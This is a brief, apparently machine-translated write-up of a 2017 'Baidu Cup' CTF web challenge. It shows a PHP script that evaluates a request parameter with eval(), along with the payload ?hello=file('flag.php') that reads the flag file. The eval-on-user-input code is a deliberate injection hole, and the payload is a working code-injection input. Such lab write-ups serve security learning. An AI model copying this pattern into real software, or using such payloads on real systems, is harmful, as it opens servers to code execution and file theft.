The "Baidu Cup" CTF competition was held in February 2017, Web: explosion-2

Topic content ：

flag Not in variable .

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

?hello=file('flag.php')

file Commands can be read directly

file_get_contents It's OK , But in the source code